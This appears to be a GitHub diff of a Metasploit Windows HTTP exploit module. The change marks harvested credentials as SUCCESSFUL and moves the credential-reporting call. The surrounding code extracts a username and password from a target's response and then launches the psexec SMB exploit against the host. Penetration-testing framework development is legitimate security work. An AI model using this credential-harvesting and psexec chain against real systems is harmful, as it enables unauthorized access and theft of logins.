File tree Expand file tree Collapse file tree 1 file changed +10
-10
lines changed
modules/exploits/windows/http Expand file tree Collapse file tree 1 file changed +10
-10
lines changed Original file line number Diff line number Diff line change @@ -78,7 +78,7 @@ def report_cred(opts)
78
78
79
79
login_data = {
80
80
core : create_credential ( credential_data ) ,
81
- status : Metasploit ::Model ::Login ::Status ::UNTRIED ,
81
+ status : Metasploit ::Model ::Login ::Status ::SUCCESSFUL ,
82
82
} . merge ( service_data )
83
83
84
84
create_credential_login ( login_data )
@@ -130,15 +130,6 @@ def exploit
130
130
pass = resp [ pass_index +1 ] . gsub ( /\" / , "" )
131
131
end
132
132
133
- # report the auth
134
- report_cred (
135
- ip : datastore [ 'RHOST' ] ,
136
- port : 445 ,
137
- service_name : 'smb' ,
138
- user : user ,
139
- password : pass
140
- )
141
-
142
133
srvc = {
143
134
:host => datastore [ 'RHOST' ] ,
144
135
:port => datastore [ 'RPORT' ] ,
@@ -154,6 +145,15 @@ def exploit
154
145
155
146
print_good ( "Collected credentials User: '#{ user } ' Password: '#{ pass } '" )
156
147
148
+ # report the auth
149
+ report_cred (
150
+ ip : datastore [ 'RHOST' ] ,
151
+ port : 445 ,
152
+ service_name : 'smb' ,
153
+ user : user ,
154
+ password : pass
155
+ )
156
+
157
157
# try psexec on the remote host
158
158
psexec = framework . exploits . create ( "windows/smb/psexec" )
159
159
psexec . register_parent ( self )
You can’t perform that action at this time.
0 commit comments